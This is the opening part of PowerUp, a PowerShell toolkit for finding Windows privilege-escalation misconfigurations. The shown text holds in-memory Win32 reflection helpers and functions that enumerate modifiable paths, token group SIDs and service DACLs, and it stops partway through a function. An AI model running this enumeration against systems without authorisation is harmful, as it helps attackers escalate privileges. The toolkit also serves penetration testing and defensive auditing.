<#
    PowerUp aims to be a clearinghouse of common Windows privilege escalation
    vectors that rely on misconfigurations. See README.md for more information.

    Author: @harmj0y
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
#>

#Requires -Version 2


########################################################
#
# PSReflect code for Windows API access
# Author: @mattifestation
#   https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
#
########################################################

function New-InMemoryModule
{
<#
.SYNOPSIS

Creates an in-memory assembly and module

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION

When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.

.PARAMETER ModuleName

Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.

.EXAMPLE

$Module = New-InMemoryModule -ModuleName Win32
#>

    Param
    (
        [Parameter(Position = 0)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ModuleName = [Guid]::NewGuid().ToString()
    )

    $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
    $LoadedAssemblies = $AppDomain.GetAssemblies()

    foreach ($Assembly in $LoadedAssemblies) {
        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
            return $Assembly
        }
    }

    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
    $Domain = $AppDomain
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)

    return $ModuleBuilder
}


# A helper function used to reduce typing while defining function
# prototypes for Add-Win32Type.
function func
{
    Param
    (
        [Parameter(Position = 0, Mandatory=$True)]
        [String]
        $DllName,

        [Parameter(Position = 1, Mandatory=$True)]
        [string]
        $FunctionName,

        [Parameter(Position = 2, Mandatory=$True)]
        [Type]
        $ReturnType,

        [Parameter(Position = 3)]
        [Type[]]
        $ParameterTypes,

        [Parameter(Position = 4)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention,

        [Parameter(Position = 5)]
        [Runtime.InteropServices.CharSet]
        $Charset,

        [String]
        $EntryPoint,

        [Switch]
        $SetLastError
    )

    $Properties = @{
        DllName = $DllName
        FunctionName = $FunctionName
        ReturnType = $ReturnType
    }

    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
    if ($Charset) { $Properties['Charset'] = $Charset }
    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
    if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }

    New-Object PSObject -Property $Properties
}


function Add-Win32Type
{
<#
.SYNOPSIS

Creates a .NET type for an unmanaged Win32 function.

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: func

.DESCRIPTION

Add-Win32Type enables you to easily interact with unmanaged (i.e.
Win32 unmanaged) functions in PowerShell. After providing
Add-Win32Type with a function signature, a .NET type is created
using reflection (i.e. csc.exe is never called like with Add-Type).

The 'func' helper function can be used to reduce typing when defining
multiple function definitions.

.PARAMETER DllName

The name of the DLL.

.PARAMETER FunctionName

The name of the target function.

.PARAMETER EntryPoint

The DLL export function name. This argument should be specified if the
specified function name is different than the name of the exported
function.

.PARAMETER ReturnType

The return type of the function.

.PARAMETER ParameterTypes

The function parameters.

.PARAMETER NativeCallingConvention

Specifies the native calling convention of the function. Defaults to
stdcall.

.PARAMETER Charset

If you need to explicitly call an 'A' or 'W' Win32 function, you can
specify the character set.

.PARAMETER SetLastError

Indicates whether the callee calls the SetLastError Win32 API
function before returning from the attributed method.

.PARAMETER Module

The in-memory module that will host the functions. Use
New-InMemoryModule to define an in-memory module.

.PARAMETER Namespace

An optional namespace to prepend to the type. Add-Win32Type defaults
to a namespace consisting only of the name of the DLL.

.EXAMPLE

$Mod = New-InMemoryModule -ModuleName Win32

$FunctionDefinitions = @(
  (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
  (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
  (func ntdll RtlGetCurrentPeb ([IntPtr]) @())
)

$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$Ntdll = $Types['ntdll']
$Ntdll::RtlGetCurrentPeb()
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')

.NOTES

Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189

When defining multiple function prototypes, it is ideal to provide
Add-Win32Type with an array of function signatures. That way, they
are all incorporated into the same in-memory module.
#>

    [OutputType([Hashtable])]
    Param(
        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [String]
        $DllName,

        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [String]
        $FunctionName,

        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [String]
        $EntryPoint,

        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
        [Type]
        $ReturnType,

        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Type[]]
        $ParameterTypes,

        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Runtime.InteropServices.CallingConvention]
        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,

        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Runtime.InteropServices.CharSet]
        $Charset = [Runtime.InteropServices.CharSet]::Auto,

        [Parameter(ValueFromPipelineByPropertyName=$True)]
        [Switch]
        $SetLastError,

        [Parameter(Mandatory=$True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [ValidateNotNull()]
        [String]
        $Namespace = ''
    )

    BEGIN
    {
        $TypeHash = @{}
    }

    PROCESS
    {
        if ($Module -is [Reflection.Assembly])
        {
            if ($Namespace)
            {
                $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
            }
            else
            {
                $TypeHash[$DllName] = $Module.GetType($DllName)
            }
        }
        else
        {
            # Define one type for each DLL
            if (!$TypeHash.ContainsKey($DllName))
            {
                if ($Namespace)
                {
                    $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
                }
                else
                {
                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
                }
            }

            $Method = $TypeHash[$DllName].DefineMethod(
                $FunctionName,
                'Public,Static,PinvokeImpl',
                $ReturnType,
                $ParameterTypes)

            # Make each ByRef parameter an Out parameter
            $i = 1
            foreach($Parameter in $ParameterTypes)
            {
                if ($Parameter.IsByRef)
                {
                    [void] $Method.DefineParameter($i, 'Out', $null)
                }

                $i++
            }

            $DllImport = [Runtime.InteropServices.DllImportAttribute]
            $SetLastErrorField = $DllImport.GetField('SetLastError')
            $CallingConventionField = $DllImport.GetField('CallingConvention')
            $CharsetField = $DllImport.GetField('CharSet')
            $EntryPointField = $DllImport.GetField('EntryPoint')
            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }

            if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }

            # Equivalent to C# version of [DllImport(DllName)]
            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
                $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
                [Reflection.FieldInfo[]] @($SetLastErrorField,
                                           $CallingConventionField,
                                           $CharsetField,
                                           $EntryPointField),
                [Object[]] @($SLEValue,
                             ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
                             ([Runtime.InteropServices.CharSet] $Charset),
                             $ExportedFuncName))

            $Method.SetCustomAttribute($DllImportAttribute)
        }
    }

    END
    {
        if ($Module -is [Reflection.Assembly])
        {
            return $TypeHash
        }

        $ReturnTypes = @{}

        foreach ($Key in $TypeHash.Keys)
        {
            $Type = $TypeHash[$Key].CreateType()

            $ReturnTypes[$Key] = $Type
        }

        return $ReturnTypes
    }
}


function psenum
{
<#
.SYNOPSIS

Creates an in-memory enumeration for use in your PowerShell session.

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION

The 'psenum' function facilitates the creation of enums entirely in
memory using as close to a "C style" as PowerShell will allow.

.PARAMETER Module

The in-memory module that will host the enum. Use
New-InMemoryModule to define an in-memory module.

.PARAMETER FullName

The fully-qualified name of the enum.

.PARAMETER Type

The type of each enum element.

.PARAMETER EnumElements

A hashtable of enum elements.

.PARAMETER Bitfield

Specifies that the enum should be treated as a bitfield.

.EXAMPLE

$Mod = New-InMemoryModule -ModuleName Win32

$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
    UNKNOWN =                  0
    NATIVE =                   1 # Image doesn't require a subsystem.
    WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.
    WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.
    OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.
    POSIX_CUI =                7 # Image runs in the Posix character subsystem.
    NATIVE_WINDOWS =           8 # Image is a native Win9x driver.
    WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.
    EFI_APPLICATION =          10
    EFI_BOOT_SERVICE_DRIVER =  11
    EFI_RUNTIME_DRIVER =       12
    EFI_ROM =                  13
    XBOX =                     14
    WINDOWS_BOOT_APPLICATION = 16
}

.NOTES

PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Enum. :P
#>

    [OutputType([Type])]
    Param
    (
        [Parameter(Position = 0, Mandatory=$True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [Parameter(Position = 1, Mandatory=$True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $FullName,

        [Parameter(Position = 2, Mandatory=$True)]
        [Type]
        $Type,

        [Parameter(Position = 3, Mandatory=$True)]
        [ValidateNotNullOrEmpty()]
        [Hashtable]
        $EnumElements,

        [Switch]
        $Bitfield
    )

    if ($Module -is [Reflection.Assembly])
    {
        return ($Module.GetType($FullName))
    }

    $EnumType = $Type -as [Type]

    $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)

    if ($Bitfield)
    {
        $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
        $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
        $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
    }

    foreach ($Key in $EnumElements.Keys)
    {
        # Apply the specified enum type to each element
        $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
    }

    $EnumBuilder.CreateType()
}


# A helper function used to reduce typing while defining struct
# fields.
function field
{
    Param
    (
        [Parameter(Position = 0, Mandatory=$True)]
        [UInt16]
        $Position,

        [Parameter(Position = 1, Mandatory=$True)]
        [Type]
        $Type,

        [Parameter(Position = 2)]
        [UInt16]
        $Offset,

        [Object[]]
        $MarshalAs
    )

    @{
        Position = $Position
        Type = $Type -as [Type]
        Offset = $Offset
        MarshalAs = $MarshalAs
    }
}


function struct
{
<#
.SYNOPSIS

Creates an in-memory struct for use in your PowerShell session.

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: field

.DESCRIPTION

The 'struct' function facilitates the creation of structs entirely in
memory using as close to a "C style" as PowerShell will allow. Struct
fields are specified using a hashtable where each field of the struct
is comprosed of the order in which it should be defined, its .NET
type, and optionally, its offset and special marshaling attributes.

One of the features of 'struct' is that after your struct is defined,
it will come with a built-in GetSize method as well as an explicit
converter so that you can easily cast an IntPtr to the struct without
relying upon calling SizeOf and/or PtrToStructure in the Marshal
class.

.PARAMETER Module

The in-memory module that will host the struct. Use
New-InMemoryModule to define an in-memory module.

.PARAMETER FullName

The fully-qualified name of the struct.

.PARAMETER StructFields

A hashtable of fields. Use the 'field' helper function to ease
defining each field.

.PARAMETER PackingSize

Specifies the memory alignment of fields.

.PARAMETER ExplicitLayout

Indicates that an explicit offset for each field will be specified.

.EXAMPLE

$Mod = New-InMemoryModule -ModuleName Win32

$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
    DOS_SIGNATURE =    0x5A4D
    OS2_SIGNATURE =    0x454E
    OS2_SIGNATURE_LE = 0x454C
    VXD_SIGNATURE =    0x454C
}

$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
    e_magic =    field 0 $ImageDosSignature
    e_cblp =     field 1 UInt16
    e_cp =       field 2 UInt16
    e_crlc =     field 3 UInt16
    e_cparhdr =  field 4 UInt16
    e_minalloc = field 5 UInt16
    e_maxalloc = field 6 UInt16
    e_ss =       field 7 UInt16
    e_sp =       field 8 UInt16
    e_csum =     field 9 UInt16
    e_ip =       field 10 UInt16
    e_cs =       field 11 UInt16
    e_lfarlc =   field 12 UInt16
    e_ovno =     field 13 UInt16
    e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)
    e_oemid =    field 15 UInt16
    e_oeminfo =  field 16 UInt16
    e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)
    e_lfanew =   field 18 Int32
}

# Example of using an explicit layout in order to create a union.
$TestUnion = struct $Mod TestUnion @{
    field1 = field 0 UInt32 0
    field2 = field 1 IntPtr 0
} -ExplicitLayout

.NOTES

PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Struct. :P
#>

    [OutputType([Type])]
    Param
    (
        [Parameter(Position = 1, Mandatory=$True)]
        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
        $Module,

        [Parameter(Position = 2, Mandatory=$True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $FullName,

        [Parameter(Position = 3, Mandatory=$True)]
        [ValidateNotNullOrEmpty()]
        [Hashtable]
        $StructFields,

        [Reflection.Emit.PackingSize]
        $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,

        [Switch]
        $ExplicitLayout
    )

    if ($Module -is [Reflection.Assembly])
    {
        return ($Module.GetType($FullName))
    }

    [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
        Class,
        Public,
        Sealed,
        BeforeFieldInit'

    if ($ExplicitLayout)
    {
        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
    }
    else
    {
        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
    }

    $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
    $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
    $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))

    $Fields = New-Object Hashtable[]($StructFields.Count)

    # Sort each field according to the orders specified
    # Unfortunately, PSv2 doesn't have the luxury of the
    # hashtable [Ordered] accelerator.
    foreach ($Field in $StructFields.Keys)
    {
        $Index = $StructFields[$Field]['Position']
        $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
    }

    foreach ($Field in $Fields)
    {
        $FieldName = $Field['FieldName']
        $FieldProp = $Field['Properties']

        $Offset = $FieldProp['Offset']
        $Type = $FieldProp['Type']
        $MarshalAs = $FieldProp['MarshalAs']

        $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')

        if ($MarshalAs)
        {
            $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
            if ($MarshalAs[1])
            {
                $Size = $MarshalAs[1]
                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
                    $UnmanagedType, $SizeConst, @($Size))
            }
            else
            {
                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
            }

            $NewField.SetCustomAttribute($AttribBuilder)
        }

        if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
    }

    # Make the struct aware of its own size.
    # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
    $SizeMethod = $StructBuilder.DefineMethod('GetSize',
        'Public, Static',
        [Int],
        [Type[]] @())
    $ILGenerator = $SizeMethod.GetILGenerator()
    # Thanks for the help, Jason Shirk!
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
        [Type].GetMethod('GetTypeFromHandle'))
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
        [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)

    # Allow for explicit casting from an IntPtr
    # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
    $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
        'PrivateScope, Public, Static, HideBySig, SpecialName',
        $StructBuilder,
        [Type[]] @([IntPtr]))
    $ILGenerator2 = $ImplicitConverter.GetILGenerator()
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
        [Type].GetMethod('GetTypeFromHandle'))
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
        [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)

    $StructBuilder.CreateType()
}


########################################################
#
# PowerUp Helpers
#
########################################################

function Get-ModifiablePath {
<#
    .SYNOPSIS

        Parses a passed string containing multiple possible file/folder paths and returns
        the file paths where the current user has modification rights.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        Takes a complex path specification of an initial file/folder path with possible
        configuration files, 'tokenizes' the string in a number of possible ways, and
        enumerates the ACLs for each path that currently exists on the system. Any path that
        the current user has modification rights on is returned in a custom object that contains
        the modifiable path, associated permission set, and the IdentityReference with the specified
        rights. The SID of the current user and any group he/she are a part of are used as the
        comparison set against the parsed path DACLs.

    .PARAMETER Path

        The string path to parse for modifiable files. Required

    .PARAMETER LiteralPaths

        Switch. Treat all paths as literal (i.e. don't do 'tokenization').

    .EXAMPLE

        PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath

        Path                       Permissions                IdentityReference
        ----                       -----------                -----------------
        C:\Temp\blah.exe           {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
        C:\Temp\config.ini         {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...

    .EXAMPLE

        PS C:\> Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath

        Path                       Permissions                IdentityReference
        ----                       -----------                -----------------
        C:\Vuln\blah.bat           {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
        C:\Vuln\config.ini         {ReadAttributes, ReadCo... NT AUTHORITY\Authentic...
        ...
#>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('FullName')]
        [String[]]
        $Path,

        [Switch]
        $LiteralPaths
    )

    BEGIN {
        # # false positives ?
        # $Excludes = @("MsMpEng.exe", "NisSrv.exe")

        # from http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
        $AccessMask = @{
            [uint32]'0x80000000' = 'GenericRead'
            [uint32]'0x40000000' = 'GenericWrite'
            [uint32]'0x20000000' = 'GenericExecute'
            [uint32]'0x10000000' = 'GenericAll'
            [uint32]'0x02000000' = 'MaximumAllowed'
            [uint32]'0x01000000' = 'AccessSystemSecurity'
            [uint32]'0x00100000' = 'Synchronize'
            [uint32]'0x00080000' = 'WriteOwner'
            [uint32]'0x00040000' = 'WriteDAC'
            [uint32]'0x00020000' = 'ReadControl'
            [uint32]'0x00010000' = 'Delete'
            [uint32]'0x00000100' = 'WriteAttributes'
            [uint32]'0x00000080' = 'ReadAttributes'
            [uint32]'0x00000040' = 'DeleteChild'
            [uint32]'0x00000020' = 'Execute/Traverse'
            [uint32]'0x00000010' = 'WriteExtendedAttributes'
            [uint32]'0x00000008' = 'ReadExtendedAttributes'
            [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
            [uint32]'0x00000002' = 'WriteData/AddFile'
            [uint32]'0x00000001' = 'ReadData/ListDirectory'
        }

        $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
        $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
        $CurrentUserSids += $UserIdentity.User.Value

        $TranslatedIdentityReferences = @{}
    }

    PROCESS {

        ForEach($TargetPath in $Path) {

            $CandidatePaths = @()

            # possible separator character combinations
            $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")

            if($PSBoundParameters['LiteralPaths']) {

                $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath))

                if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
                    $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
                }
                else {
                    # if the path doesn't exist, check if the parent folder allows for modification
                    try {
                        $ParentPath = Split-Path $TempPath -Parent
                        if($ParentPath -and (Test-Path -Path $ParentPath)) {
                            $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
                        }
                    }
                    catch {
                        # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
                    }
                }
            }
            else {
                ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
                    $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {

                        if(($SeparationCharacterSet -notmatch ' ')) {

                            $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)).Trim()

                            if($TempPath -and ($TempPath -ne '')) {
                                if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
                                    # if the path exists, resolve it and add it to the candidate list
                                    $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
                                }

                                else {
                                    # if the path doesn't exist, check if the parent folder allows for modification
                                    try {
                                        $ParentPath = (Split-Path -Path $TempPath -Parent).Trim()
                                        if($ParentPath -and ($ParentPath -ne '') -and (Test-Path -Path $ParentPath )) {
                                            $CandidatePaths += Resolve-Path -Path $ParentPath | Select-Object -ExpandProperty Path
                                        }
                                    }
                                    catch {
                                        # trap because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
                                    }
                                }
                            }
                        }
                        else {
                            # if the separator contains a space
                            $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)}
                        }
                    }
                }
            }

            $CandidatePaths | Sort-Object -Unique | ForEach-Object {
                $CandidatePath = $_
                Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {

                    $FileSystemRights = $_.FileSystemRights.value__

                    $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }

                    # the set of permission types that allow for modification
                    $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent

                    if($Comparison) {
                        if ($_.IdentityReference -notmatch '^S-1-5.*') {
                            if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
                                # translate the IdentityReference if it's a username and not a SID
                                $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
                                $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
                            }
                            $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
                        }
                        else {
                            $IdentitySID = $_.IdentityReference
                        }

                        if($CurrentUserSids -contains $IdentitySID) {
                            New-Object -TypeName PSObject -Property @{
                                ModifiablePath = $CandidatePath
                                IdentityReference = $_.IdentityReference
                                Permissions = $Permissions
                            }
                        }
                    }
                }
            }
        }
    }
}


function Get-CurrentUserTokenGroupSid {
<#
    .SYNOPSIS

        Returns all SIDs that the current user is a part of, whether they are disabled or not.

        Author: @harmj0y
        License: BSD 3-Clause

    .DESCRIPTION

        First gets the current process handle using the GetCurrentProcess() Win32 API call and feeds
        this to OpenProcessToken() to open up a handle to the current process token. The API call
        GetTokenInformation() is then used to enumerate the TOKEN_GROUPS for the current process
        token. Each group is iterated through and the SID structure is converted to a readable
        string using ConvertSidToStringSid(), and the unique list of SIDs the user is a part of
        (disabled or not) is returned as a string array.

    .LINK

        https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx
        https://msdn.microsoft.com/en-us/library/windows/desktop/aa379624(v=vs.85).aspx
        https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
#>

    [CmdletBinding()]
    Param()

    $CurrentProcess = $Kernel32::GetCurrentProcess()

    $TOKEN_QUERY= 0x0008

    # open up a pseudo handle to the current process- don't need to worry about closing
    [IntPtr]$hProcToken = [IntPtr]::Zero
    $Success = $Advapi32::OpenProcessToken($CurrentProcess, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

    if($Success) {
        $TokenGroupsPtrSize = 0
        # Initial query to determine the necessary buffer size
        $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize)

        [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize)

        # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure
        $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

        if($Success) {

            $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS

            For ($i=0; $i -lt $TokenGroups.GroupCount; $i++) {
                # convert each token group SID to a displayable string
                $SidString = ''
                $Result = $Advapi32::ConvertSidToStringSid($TokenGroups.Groups[$i].SID, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
                if($Result -eq 0) {
                    Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
                }
                else {
                    $GroupSid = New-Object PSObject
                    $GroupSid | Add-Member Noteproperty 'SID' $SidString
                    # cast the atttributes field as our SidAttributes enum
                    $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes)
                    $GroupSid
                }
            }
        }
        else {
            Write-Warning ([ComponentModel.Win32Exception] $LastError)
        }
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr)
    }
    else {
        Write-Warning ([ComponentModel.Win32Exception] $LastError)
    }
}


function Add-ServiceDacl {
<#
    .SYNOPSIS

        Adds a Dacl field to a service object returned by Get-Service.

        Author: Matthew Graeber (@mattifestation)
        License: BSD 3-Clause

    .DESCRIPTION

        Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
        Dacl field to each object. It does this by opening a handle with ReadControl for the
        service with using the GetServiceHandle Win32 API call and then uses
        QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.

    .PARAMETER Name

        An array of one or more service names to add a service Dacl for. Passable on the pipeline.

    .EXAMPLE

        PS C:\> Get-Service | Add-ServiceDacl

        Add Dacls for every service the current user can read.

    .EXAMPLE

        PS C:\> Get-Service -Name VMTools | Add-ServiceDacl

        Add the Dacl to the VMTools service object.

    .OUTPUTS

        ServiceProcess.ServiceController

    .LINK

        https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
#>

    [OutputType('ServiceProcess.ServiceController')]
    param (
        [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
        [Alias('ServiceName')]
        [String[]]
        [ValidateNotNullOrEmpty()]
        $Name
    )

    BEGIN {
        filter Local:Get-ServiceReadControlHandle {
            [OutputType([IntPtr])]
            param (
                [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
                [ValidateNotNullOrEmpty()]
                [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })]
                $Service
            )

            $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')

            $ReadControl = 0x00020000

            $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl))

            $RawHandle
        }
    }

    PROCESS {
        ForEach($ServiceName in $Name) {

